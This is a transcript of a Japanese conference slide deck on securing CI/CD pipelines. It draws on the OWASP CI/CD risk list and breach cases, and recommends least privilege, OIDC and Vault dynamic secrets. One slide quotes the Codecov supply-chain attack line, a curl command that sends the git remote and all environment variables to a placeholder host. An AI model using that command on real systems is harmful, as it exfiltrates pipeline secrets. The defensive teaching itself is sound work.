Upgrade to Pro — share decks privately, control downloads, hide ads and more …

自分のデータは自分で守る - あなたのCI/CDパイプラインをセキュアにする処方箋

自分のデータは自分で守る - あなたのCI/CDパイプラインをセキュアにする処方箋

CI/CD Conference 2023で発表した資料です。セッション動画の視聴はこちら
https://event.cloudnativedays.jp/cicd2023/talks/1760

Kazuto Kusama

March 22, 2023
Tweet

More Decks by Kazuto Kusama

Other Decks in Technology

Transcript

  1. 自分のデータは
    自分で守る
    あなたのCI/CDパイプラインをセキュアにする処方箋

    View Slide

  2. Kazuto Kusama
    @jacopen
    Senior Solutions Engineer @HashiCorp Japan
    Co-Chair @CloudNative Days
    Organizer @PaaSJP
    Organizer @Platform Engineering Meetup

    View Slide

  3. 何をするにもCI/CD無しには語れない時代になりました

    View Slide

  4. CI/CDはDevOpsやCloud Native技術の根幹
    Dev Ops
    Configure
    Verify Package Plan Monitor
    Release
    Create Plan

    View Slide

  5. 9/10
    Web アプリケーション
    への侵害のうち、クレ
    デンシャルに起因する
    もの
    過去2年間における
    データ侵害の増加率
    セキュリティ侵害のう
    ち、人的要素が関与し
    ているもの
    380% 82%
    セキュリティ侵害に関するデータ

    View Slide

  6. CI/CDのセキュリティは難しい
    Dev
    Code
    Repository
    CI/CD

    View Slide

  7. CI/CDのセキュリティは難しい
    Dev
    Code
    Repository
    CI/CD
    クライアントサイドへの攻撃
    サプライチェーンへの攻撃
    ツールへの攻撃 サーバーサイドへの攻撃
    対処しなければならない場所が多い

    View Slide

  8. CI/CDのセキュリティは難しい
    Dev
    Code
    Repository
    CI/CD
    クライアントサイドへの攻撃
    サプライチェーンへの攻撃
    ツールへの攻撃 サーバーサイドへの攻撃
    CI/CDツールは
    本番環境にアクセスしやすい

    View Slide

  9. 外部サービスからの流出

    View Slide

  10. CI/CDのセキュリティは難しい
    Dev
    Code
    Repository
    CI/CD
    ツールへの攻撃
    本番環境が直接危機にさらされる
    ここをやられたので

    View Slide

  11. 責任の主体
    やらかしたのがSaaS側であっても、
    エンドユーザーに発生した被害の責任は自分でとらなくてはいけません。

    View Slide

  12. こういうときに絶対にやってはいけない対処

    View Slide

  13. 問題のある対処
    利用している○○のSaaSでセキュリティインシデントがおきました
    ⇒ なので、そのSaaSはやめて別のSaaSに切り替えました!

    View Slide

  14. 問題のある対処
    利用している○○のSaaSでセキュリティインシデントがおきました
    ⇒ なので、そのSaaSはやめて別のSaaSに切り替えました!
    何も解決していない!

    View Slide

  15. 問題の本質はどこにあるか
    ● SaaSでセキュリティインシデントが起きたことは事実として・・・
    ○ 何故シークレットが漏れて問題になったか
    ■ シークレットを持たせる必要はあったか
    ■ 漏れても影響の少ないシークレットに出来なかったか
    ■ 漏れても問題がないように出来なかったか
    ○ 漏れないような管理は本当に不可能だったのか

    View Slide

  16. 問題の本質はどこにあるか
    ● SaaSでセキュリティインシデントが起きたことは事実として・・・
    ○ 何故シークレットが漏れて問題になったか
    ■ シークレットを持たせる必要はあったか
    ■ 漏れても影響の少ないシークレットに出来なかったか
    ■ 漏れても問題がないように出来なかったか
    ○ 漏れないような管理は本当に不可能だったのか
    このあたりの深掘りが出来ていないと、結局乗り換え先でまたインシ
    デントが起きたときに同じことを繰り返す

    View Slide

  17. 既存のフレームワークを活用して対策していく

    View Slide

  18. サイバー攻撃の構図
    (Mitre ATT&CK Framework)
    MITRE ATT&CKで始める脅威ベースのセキュリティ対策入門( 1)
    https://atmarkit.itmedia.co.jp/ait/articles/2207/21/news003.html

    View Slide

  19. … より強いレベ
    ルの権限を取

    Privilege
    Escalation
    Credential
    Access
    … アカウントの
    ユーザ名やパス
    ワードを盗難
    Lateral
    Movement
    … 自社の環境内
    で横断的な活動
    … データを盗難
    Exfiltration
    Initial
    Access
    アタッカーが自
    社のネットワー
    クにアクセス
    サイバー攻撃の構図 (Mitre ATT&CK Framework)

    View Slide

  20. OWASP Top 10 CI/CD Security Risks
    https://owasp.org/www-project-top-10-ci-cd-security-risks/

    View Slide

  21. 今回は、シークレットの管理を中心に話します

    View Slide

  22. … より強いレベ
    ルの権限を取

    Privilege
    Escalation
    Credential
    Access
    … アカウントの
    ユーザ名やパス
    ワードを盗難
    Lateral
    Movement
    … 自社の環境内
    で横断的な活動
    … データを盗難
    Exfiltration
    Initial
    Access
    アタッカーが自
    社のネットワー
    クにアクセス
    サイバー攻撃の構図 (Mitre ATT&CK Framework)

    View Slide

  23. 次の時間帯のセッションも併せて見てみるといいかも

    View Slide

  24. 全体方針
    大原則: セキュリティリスクを許容範囲なレベルまで減らす
    大方針: 全てのシークレットを正しく管理下に置く
    正しい管理とは:
    - 保存場所の管理
    - 権限の管理
    - 期間の管理
    - ログの管理

    View Slide

  25. CIとCDの流れ
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番

    View Slide

  26. CIとCDの流れ
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    最終的にはここの
    権限を奪うのが目標

    View Slide

  27. パイプラインごとにいろんな権限が必要にな
    るから、広めの権限を与えておこう

    View Slide

  28. CICD-SEC-2 不十分な ID およびアクセス管理
    過度に寛容な ID
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    なんでも出来るID
    クラウド上でやりたい
    放題

    View Slide

  29. CICD-SEC-2 不十分な ID およびアクセス管理
    過度に寛容な ID
    対策: 最小権限の原則
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    Deliveryに必要な最小
    権限のみを付与する。
    違うパイプラインには
    違う権限を付与する

    View Slide

  30. シークレットをリポジトリに入れるのは良く
    ないけど、プライベートだからセーフでしょ

    View Slide

  31. CICD-SEC-6 不十分な認証情報衛生
    認証情報を含むコードが
    SCM リポジトリのブランチの一つに
    プッシュされている
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番

    View Slide

  32. Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    誤ってパブリックリポ
    ジトリにfork
    悪意のある内部の人間
    がリポジトリを閲覧
    (検出が困難)
    サプライチェーン攻撃
    でリポジトリ内の
    シークレットを取得

    View Slide

  33. 実際の攻撃事例
    Uber(2016): GitHubのPrivate Repositoryに保存していたAWSキーを悪用され、
    S3に不正アクセスされたことにより数百万の顧客情報が流出
    Samsung(2019): 自前で運用していたGitLabのリポジトリが、設定漏れによりパ
    ブリックに公開され、その中のAWSキーが流出。ログや分析データの入った100
    以上のS3 Bucketにアクセス可能に
    その他多数の事例あり

    View Slide

  34. Kubernetesの場合特に注意
    gitops
    安易なGitOpsの実現のため、SecretをManifest Repositoryに入れてしまう
    apiVersion: v1
    kind: Secret
    metadata:
    name: creds
    data:
    password: cEBzc3cwcmQ=
    username: YWRtaW4=
    ただのbase64
    エンコードなので、
    平文と同じ

    View Slide

  35. CICD-SEC-6 不十分な認証情報衛生
    認証情報を含むコードが
    SCM リポジトリのブランチの一つに
    プッシュされている
    対策: リポジトリに入れない。
    シークレットマネージャの活用
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    安全に管理されたSecret
    manager上に集中管理

    View Slide

  36. とりあえず使いやすい場所に
    シークレットを入れておこう

    View Slide

  37. CICD-SEC-7 安全でないシステム構成
    システム構成が安全でないシステム
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番

    View Slide

  38. CICD-SEC-7 安全でないシステム構成
    システム構成が安全でないシステム
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    様々な場所にキーが散ら
    ばって管理されている
    Secret Sprawl
    デフォルト設定のまま
    シークレットストアに
    管理されている

    View Slide

  39. その置き場所、安全ですか?
    置き場所が散らばることによるリスク
    ● 散らばったシークレットを管理していくことは困難
    ● 有効期限の長いシークレットが放置されてしまう
    ● アクセス制御やロギングが備わっていない場所も多い
    ○ 有効期限が無限に設定されているクラウドのシークレットが、アクセス制御やログ
    が取られていない環境から盗まれたとしたら、どうやって気づく?
    シークレットストアをデフォルト設定で使うリスク
    ● デフォルト設定では細かなアクセス制御がなされてないことが多い
    ● ブランチや環境が異なっても同じシークレットにアクセスが出来てしまう

    View Slide

  40. CICD-SEC-7 安全でないシステム構成
    システム構成が安全でないシステム
    対策: 適切な構成
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    適切なチームと
    ロールの設定
    GitHub Actions
    Secretsの利用
    Deployment
    Environments
    の活用

    View Slide

  41. CICD-SEC-7 安全でないシステム構成
    システム構成が安全でないシステム
    対策: シークレットマネージャの活用
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    安全に管理されたSecret
    manager上に集中管理

    View Slide

  42. CIのパイプラインでそのままCDもしちゃおう

    View Slide

  43. CICD-SEC-3 依存チェーンの悪用
    CICD-SEC-4 有害なパイプライン実行
    CICD-SEC-5 不十分なパイプラインベースのアクセス制御
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    CIもCDも、全部
    同じパイプラインで
    やっている

    View Slide

  44. CICD-SEC-3 依存チェーンの悪用
    CICD-SEC-4 有害なパイプライン実行
    CICD-SEC-5 不十分なパイプラインベースのアクセス制御
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    悪意のある
    ForkからのPR
    不十分なアクセス
    制御による改変
    サプライチェーン
    への攻撃

    View Slide

  45. 実際の攻撃事例
    Codecov(2021): カバレッジ計測のためのツールに、以下のようなコードが追加
    される
    curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” https://IPADDRESS/upload/v2 || true
    Gitのリポジトリと環境変数が送信されるようになっていた
    => 環境変数内にシークレットが含まれていた場合は漏洩してしまう。
    セルフホストのCIツールやRunnerを使っていても同様に影響を受けてしまう

    View Slide

  46. CICD-SEC-3 依存チェーンの悪用
    CICD-SEC-4 有害なパイプライン実行
    CICD-SEC-5 不十分なパイプラインベースのアクセス制御
    対策:
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    適切なアクセス制御
    適切なレビュー
    実行環境の隔離
    SBOM

    View Slide

  47. CICD-SEC-3 依存チェーンの悪用
    CICD-SEC-4 有害なパイプライン実行
    CICD-SEC-5 不十分なパイプラインベースのアクセス制御
    対策: CIとCDの環境を分離
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    CDは本番環境に直接の
    権限を持っているた
    め、分離しておく
    CIで必要な権限だけを
    持たせる

    View Slide

  48. たとえば
    CI
    CD

    View Slide

  49. CI/CDで使うクラウドのキーは、一度作成した
    らあとはシークレットストアに置いておくだけ

    View Slide

  50. CICD-SEC-6 不十分な認証情報衛生
    ローテーションされない認証情報
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    2年前
    1年前
    2年前
    3年前
    1年前
    『壊れていない限りは手を入れなく
    て良い』の考えのもと、同じシーク
    レットを使い続けてしまう
    結果として有効なキーを所持する人
    ・システムが増え続け、漏洩の危険
    性が飛躍的に高まっていく。

    View Slide

  51. 外部サービスからの流出
    ローテーションされていないシークレット
    は、大規模な流出事故で漏れ出す可能性があ
    るほか、知らないうちに知らない場所から漏
    れる可能性もある。
    事故が発覚した場合、多大な時間を割いて
    シークレットの棚卸しとローテーションを行
    う必要がある。
    例えばこういう漏洩事故が起きたとしても、
    そのキーが数分間しか有効ではない場合は、
    リスクを大きく低減することができる。

    View Slide

  52. CICD-SEC-6 不十分な認証情報衛生
    ローテーションされない認証情報
    対策: キーレスの活用
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    クラウド側とOIDCで
    信頼関係を確立し、
    静的なキー無しでも
    デプロイできるようにする

    View Slide

  53. CICD-SEC-6 不十分な認証情報衛生
    ローテーションされない認証情報
    対策: 動的シークレットの実践
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    必要な時に、必要なキーを
    ジャストインタイムで発行
    させる。
    不要になったら、明示的 or
    自動的に削除する

    View Slide

  54. 動的シークレット
    シークレットが必要な時に、Vaultに発行を依頼する。Vaultはその対象の一時的
    なシークレットを発行し、クライアントに返す。
    ①キーをリクエスト
    AWSのIAMキーが
    欲しい
    CIに使うのでMySQL
    のUser/Passが欲しい

    View Slide

  55. 動的シークレット
    シークレットが必要な時に、Vaultに発行を依頼する。Vaultはその対象の一時的
    なシークレットを発行し、クライアントに返す。
    ②対象に対してユーザーや
    キーを発行

    View Slide

  56. 動的シークレット
    シークレットが必要な時に、Vaultに発行を依頼する。Vaultはその対象の一時的
    なシークレットを発行し、クライアントに返す。
    ③クライアントにキーを渡す

    View Slide

  57. 動的シークレット
    クライアントがRevokeを指示した場合、Vaultはそのシークレットを消す
    revoke
    使い終わったから
    もう要らない
    対象のキーを削除

    View Slide

  58. 動的シークレット
    作成したシークレットには必ず生存期間(TTL)が設定されており、期限が切れたら
    自動的にVaultが消してくれる。なので、明示的に消しに行かなくても安全性が保
    たれる
    対象のキーを削除
    TTLを超える

    View Slide

  59. シークレットエンジン
    AWS Secret Engine / Azure Secret Engine / Google Cloud Secret Engine
    各クラウドプロバイダーのアクセスキーを動的に作成できる仕組み。AWSなら
    IAMキー、Google CloudならService Accountなど
    Database Secret Engine
    さまざまなデータベースのユーザー/パスワードを動的に作成出来る。
    MySQL,PostgreSQL,Oracle,SQL Server, MongoDB, Cassandra, Elasticsearch,
    Redisなどなど
    SSH Secret Engine
    OTP認証やSSH証明書認証を利用してSSHの認証を動的に行う
    Vault Plugin for Gitlab Project Access Token (community)
    Vault Plugin Secrets GitHub (community)
    GitHubやGitLabのTokenを動的に作成する

    View Slide

  60. まとめ
    ● CI/CDのセキュリティは非常に難しい。しかし最善を尽くさないといけ
    ない
    ● やらかしたのが自分でなくても、エンドユーザーに発生した被害の責任
    は自分でとらないといけない
    ● CI/CD潜むさまざまなリスクを洗い出し、許容可能なレベルに下げてい
    く取り組みが必要
    ● CI/CDにおけるシークレット管理はそのうちの一つ
    ● 保存場所、権限、期間、ログなどを適切に管理し、リスクを下げていくこと
    が重要

    View Slide